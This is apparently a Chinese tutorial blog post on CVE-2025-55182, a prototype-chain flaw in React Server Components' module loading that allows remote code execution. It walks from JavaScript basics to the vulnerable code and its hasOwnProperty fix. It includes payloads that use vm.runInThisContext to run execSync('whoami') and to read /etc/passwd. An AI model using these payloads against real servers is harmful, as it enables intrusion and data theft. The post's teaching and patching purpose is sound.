漏洞分析 | 14分钟
【CVE 2025 55182】React Server Components RCE
十二月 4, 2025
原型链污染 JS

本文内容来自德勒群的 0xCAFEBABE 分享的文件

CVE-2025-55182 详细教程:从零理解漏洞原理

本教程会从 JavaScript 基础知识开始,逐步深入到漏洞的技术细节。


第一部分:JavaScript 基础知识

1.1 对象和属性

在 JavaScript 中,对象就像一个容器,可以存储多个属性。

javascript
 1// 创建一个简单的对象
 2const person = {
 3  name: "张三",
 4  age: 25,
 5  city: "北京"
 6};
 7
 8// 访问属性的两种方式
 9console.log(person.name);      // 方式1:点号访问 → "张三"
10console.log(person["name"]);   // 方式2:括号访问 → "张三"

关键点:这两种方式看起来一样,但有重要区别!

javascript
1// 点号方式:属性名是写死的
2person.name  // ✓ 可以
3
4// 括号方式:属性名可以是变量
5const propertyName = "name";
6person[propertyName]  // ✓ 可以,动态访问
7
8// 这就是漏洞的入口点!

1.2 什么是原型链?

比喻理解:想象一下遗传关系

  • 你有自己的特征(眼睛颜色、身高)
  • 但你也继承了父母的特征(血型、某些基因)
  • 如果你没有某个特征,系统会"向上"查找父母的特征

JavaScript 对象也是这样:

javascript
 1// 创建一个对象
 2const student = {
 3  name: "李四",
 4  grade: 90
 5};
 6
 7// student 自己的属性
 8console.log(student.name);      // "李四" ← 找到了,来自自己
 9
10// student 没有这个属性,但原型链上有!
11console.log(student.toString);  // [Function: toString] ← 来自原型链
12
13// 更神奇的
14console.log(student.constructor); // [Function: Object] ← 也来自原型链

可视化原型链

1student 对象
2  ├─ name: "李四"        ← 自己的属性
3  ├─ grade: 90           ← 自己的属性
4  └─ [[Prototype]]       ← 原型链指针
56  Object.prototype
7      ├─ toString: [Function]
8      ├─ constructor: [Function: Object]
9      └─ hasOwnProperty: [Function]

1.3 属性访问的查找顺序

javascript
 1const car = {
 2  brand: "Tesla",
 3  model: "Model 3"
 4};
 5
 6// 当你访问 car.brand 时,JavaScript 做了什么?
 7// 1. 先看 car 自己有没有 "brand" 属性 → 有!返回 "Tesla"
 8
 9// 当你访问 car.toString 时呢?
10// 1. 先看 car 自己有没有 "toString" → 没有
11// 2. 向上查找原型链 → Object.prototype 有!返回 [Function]
12
13// 当你访问 car.nonExist 时?
14// 1. car 自己没有 → 没有
15// 2. 原型链上也没有 → 返回 undefined

关键代码演示

javascript
 1const obj = { name: "测试" };
 2
 3// 检查属性是否是对象自己的
 4console.log(obj.hasOwnProperty("name"));        // true  ← 自己的
 5console.log(obj.hasOwnProperty("toString"));    // false ← 不是自己的
 6console.log(obj.hasOwnProperty("constructor")); // false ← 不是自己的
 7
 8// 但是你仍然可以访问它们!
 9console.log(obj.toString);     // [Function: toString]
10console.log(obj.constructor);  // [Function: Object]

第二部分:漏洞的根本原理

2.1 安全的属性访问 vs 不安全的属性访问

安全的方式(有 hasOwnProperty 检查):

javascript
 1const moduleExports = {
 2  readConfig: function() { /* ... */ },
 3  getUser: function() { /* ... */ }
 4};
 5
 6const exportName = "readConfig"; // 这可能来自用户输入
 7
 8// ✅ 安全:先检查是否是自己的属性
 9if (Object.hasOwnProperty.call(moduleExports, exportName)) {
10  const fn = moduleExports[exportName];  // 安全访问
11  return fn;
12} else {
13  throw new Error("Invalid export: " + exportName);
14}

不安全的方式(React 19.0.0 的漏洞代码):

javascript
 1const moduleExports = {
 2  readConfig: function() { /* ... */ },
 3  getUser: function() { /* ... */ }
 4};
 5
 6const exportName = "readConfig"; // 这可能来自用户输入
 7
 8// ❌ 危险:直接访问,会查找原型链
 9const fn = moduleExports[exportName];
10return fn;

2.2 漏洞演示:一步步理解

步骤 1: 正常情况

javascript
1const exports = {
2  myFunction: function() { return "正常调用"; }
3};
4
5const name = "myFunction";
6const result = exports[name];  // 获取 myFunction
7
8console.log(result());  // "正常调用" ✓

步骤 2: 攻击者的技巧

javascript
 1const exports = {
 2  myFunction: function() { return "正常调用"; }
 3};
 4
 5// 攻击者控制的输入
 6const name = "constructor";  // ← 注意:这不是 exports 自己的属性
 7
 8const result = exports[name];  // 会查找原型链
 9
10console.log(result);  // [Function: Object] ← 来自原型链
11console.log(result === Object);  // true ← 是 Object 构造函数!

步骤 3: 更危险的情况

javascript
 1const fs = require('fs');  // Node.js 文件系统模块
 2
 3// fs 模块有很多函数
 4console.log(fs.readFileSync);   // [Function: readFileSync]
 5console.log(fs.writeFileSync);  // [Function: writeFileSync]
 6
 7// 但攻击者可以这样访问
 8const dangerousName = "constructor";
 9console.log(fs[dangerousName]);  // [Function: Object]
10
11// 甚至
12const veryDangerous = "constructor";
13const obj = fs;
14console.log(obj[veryDangerous].constructor);  // [Function: Function]
15// 这就获得了 Function 构造函数,可以执行任意代码!

2.3 完整的攻击链

让我们看一个完整的、简化的攻击示例:

javascript
 1// ======== 服务器代码(有漏洞) ========
 2
 3function loadModule(moduleId, exportName) {
 4  // 1. 加载模块
 5  const moduleExports = require(moduleId);  // 假设 moduleId = "fs"
 6
 7  // 2. ❌ 直接访问导出(漏洞点)
 8  return moduleExports[exportName];  // exportName 来自用户输入
 9}
10
11// ======== 正常使用 ========
12const readFile = loadModule("fs", "readFileSync");
13console.log(typeof readFile);  // "function" ✓
14
15// ======== 攻击者利用 ========
16const attack1 = loadModule("fs", "constructor");
17console.log(attack1);  // [Function: Object] ← 获得了 Object
18
19// 更进一步
20const attack2 = loadModule("vm", "runInThisContext");
21console.log(attack2);  // [Function: runInThisContext] ← 危险!

第三部分:CVE-2025-55182 的实际漏洞

3.1 React 的漏洞代码

位置react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js:2546

javascript
 1// React 19.0.0 的漏洞代码(简化版)
 2function requireModule(metadata) {
 3  // metadata = ["vm", [], "runInThisContext"]
 4  //              ↑          ↑
 5  //           模块ID     导出名称
 6
 7  // 步骤 1: 加载模块
 8  var moduleExports = __webpack_require__(metadata[0]);
 9  // moduleExports = { runInThisContext: [Function], runInNewContext: [Function], ... }
10
11  var exportName = metadata[2];  // "runInThisContext"
12
13  // 步骤 2: ❌ 直接访问导出(漏洞)
14  return moduleExports[exportName];
15  //     ^^^^^^^^^^^^^^ 会查找原型链!
16}

为什么危险?

javascript
 1// 正常情况
 2requireModule(["vm", [], "runInThisContext"])
 3// → 返回 vm.runInThisContext ✓
 4
 5// 攻击情况 1
 6requireModule(["vm", [], "constructor"])
 7// → 返回 Object ❌ 这不是 vm 自己的属性
 8
 9// 攻击情况 2(更危险)
10requireModule(["child_process", [], "execSync"])
11// → 返回 child_process.execSync
12// 如果攻击者能控制参数,就能执行系统命令!

3.2 完整的攻击流程

让我用一个真实的例子演示:

javascript
 1// ======== 第 1 步:攻击者构造恶意请求 ========
 2
 3// HTTP POST 请求体
 4const maliciousPayload = {
 5  "$ACTION_REF_0": "",
 6  "$ACTION_0:0": JSON.stringify({
 7    id: "vm#runInThisContext",     // ← 指定模块和导出
 8    bound: ["1+1"]                 // ← 要执行的代码
 9  })
10};
11
12// ======== 第 2 步:React 解析 ========
13
14function decodeAction(formData, serverManifest) {
15  // 解析 id
16  const action = JSON.parse(formData.get("$ACTION_0:0"));
17  // action = { id: "vm#runInThisContext", bound: ["1+1"] }
18
19  const [moduleId, exportName] = action.id.split("#");
20  // moduleId = "vm"
21  // exportName = "runInThisContext"
22
23  // 调用漏洞函数
24  const fn = requireModule([moduleId, [], exportName]);
25  // fn = vm.runInThisContext
26
27  // 绑定参数
28  const boundFn = fn.bind(null, ...action.bound);
29  // boundFn = vm.runInThisContext.bind(null, "1+1")
30
31  return boundFn;
32}
33
34// ======== 第 3 步:应用调用 ========
35
36const actionFn = decodeAction(maliciousPayload, manifest);
37const result = actionFn();  // 执行
38
39// vm.runInThisContext("1+1")
40// → 返回 2 ✓ RCE 成功!

3.3 真实的 RCE Payload

Payload 1: 简单测试

json
1{
2  "id": "vm#runInThisContext",
3  "bound": ["1+1"]
4}

执行流程:

javascript
1vm.runInThisContext("1+1")  // → 2

Payload 2: 执行系统命令

json
1{
2  "id": "vm#runInThisContext",
3  "bound": ["process.mainModule.require('child_process').execSync('whoami').toString()"]
4}

执行流程:

javascript
1vm.runInThisContext(
2  "process.mainModule.require('child_process').execSync('whoami').toString()"
3)
4// → 在服务器上执行 whoami 命令
5// → 返回当前用户名

Payload 3: 读取敏感文件

json
1{
2  "id": "fs#readFileSync",
3  "bound": ["/etc/passwd", "utf8"]
4}

执行流程:

javascript
1fs.readFileSync("/etc/passwd", "utf8")
2// → 读取 /etc/passwd 文件内容

第四部分:为什么 hasOwnProperty 可以防止?

4.1 修复代码对比

修复前(React 19.0.0):

javascript
1function requireModule(metadata) {
2  var moduleExports = __webpack_require__(metadata[0]);
3  var exportName = metadata[2];
4
5  // ❌ 直接访问
6  return moduleExports[exportName];
7}

修复后(React 19.2.1):

javascript
 1function requireModule(metadata) {
 2  var moduleExports = __webpack_require__(metadata[0]);
 3  var exportName = metadata[2];
 4
 5  // ✅ 添加检查
 6  if (hasOwnProperty.call(moduleExports, exportName)) {
 7    return moduleExports[exportName];  // 只返回自己的属性
 8  } else {
 9    throw new Error("Invalid server reference: " + exportName);
10  }
11}

4.2 实际效果对比

javascript
 1const fs = require('fs');
 2
 3// 测试 1: 正常导出
 4const exportName1 = "readFileSync";
 5
 6// 漏洞版本
 7const result1 = fs[exportName1];  // ✓ 返回 fs.readFileSync
 8
 9// 修复版本
10if (hasOwnProperty.call(fs, exportName1)) {
11  const result1_fixed = fs[exportName1];  // ✓ 返回 fs.readFileSync
12}
13
14// 测试 2: 攻击尝试
15const exportName2 = "constructor";
16
17// 漏洞版本
18const result2 = fs[exportName2];  // ❌ 返回 Object (来自原型链)
19
20// 修复版本
21if (hasOwnProperty.call(fs, exportName2)) {
22  // 这个条件为 false,因为 constructor 不是 fs 自己的属性
23  const result2_fixed = fs[exportName2];  // 不会执行
24} else {
25  throw new Error("Invalid!");  // ✓ 抛出错误,阻止攻击
26}

4.3 为什么原型链属性危险?

javascript
 1// 场景 1: 获取 Object 构造函数
 2const fs = require('fs');
 3const obj = fs["constructor"];  // Object
 4// → 可以用来操作对象原型
 5
 6// 场景 2: 获取 Function 构造函数
 7const obj2 = fs["constructor"]["constructor"];  // Function
 8// → 可以用来创建任意函数!
 9
10// 场景 3: 执行任意代码
11const dangerousCode = "require('child_process').execSync('whoami')";
12const evilFn = new Function(dangerousCode);
13evilFn();  // ← RCE!

第五部分:实战演练

5.1 创建一个有漏洞的函数

javascript
 1// vulnerable.js
 2
 3// 模拟 React 的漏洞函数
 4function vulnerableRequireModule(moduleName, exportName) {
 5  const mod = require(moduleName);
 6
 7  // ❌ 漏洞:没有 hasOwnProperty 检查
 8  return mod[exportName];
 9}
10
11// 测试
12console.log("=== 正常使用 ===");
13const readFile = vulnerableRequireModule("fs", "readFileSync");
14console.log(typeof readFile);  // "function"
15
16console.log("\n=== 攻击测试 ===");
17const attack = vulnerableRequireModule("fs", "constructor");
18console.log(attack === Object);  // true ← 获得了 Object!
19
20const attack2 = vulnerableRequireModule("vm", "runInThisContext");
21console.log(typeof attack2);  // "function" ← 获得了 vm.runInThisContext!
22
23// 现在可以执行任意代码
24const result = attack2("1+1");
25console.log("计算结果:", result);  // 2
26
27// 更危险的
28const evil = attack2("require('child_process').execSync('whoami').toString()");
29console.log("RCE 结果:", evil);  // 当前用户名

5.2 创建修复后的版本

javascript
 1// fixed.js
 2
 3// 安全的版本
 4function safeRequireModule(moduleName, exportName) {
 5  const mod = require(moduleName);
 6
 7  // ✅ 添加 hasOwnProperty 检查
 8  if (!Object.hasOwnProperty.call(mod, exportName)) {
 9    throw new Error(`Invalid export: ${exportName} is not an own property of ${moduleName}`);
10  }
11
12  return mod[exportName];
13}
14
15// 测试
16console.log("=== 正常使用 ===");
17const readFile = safeRequireModule("fs", "readFileSync");
18console.log(typeof readFile);  // "function" ✓
19
20console.log("\n=== 攻击测试 ===");
21try {
22  const attack = safeRequireModule("fs", "constructor");
23  console.log("攻击成功!");
24} catch (e) {
25  console.log("攻击被阻止:", e.message);
26  // "Invalid export: constructor is not an own property of fs"
27}
28
29try {
30  const attack2 = safeRequireModule("vm", "runInThisContext");
31  console.log("正常导出:", typeof attack2);  // "function" ✓
32} catch (e) {
33  console.log(e.message);
34}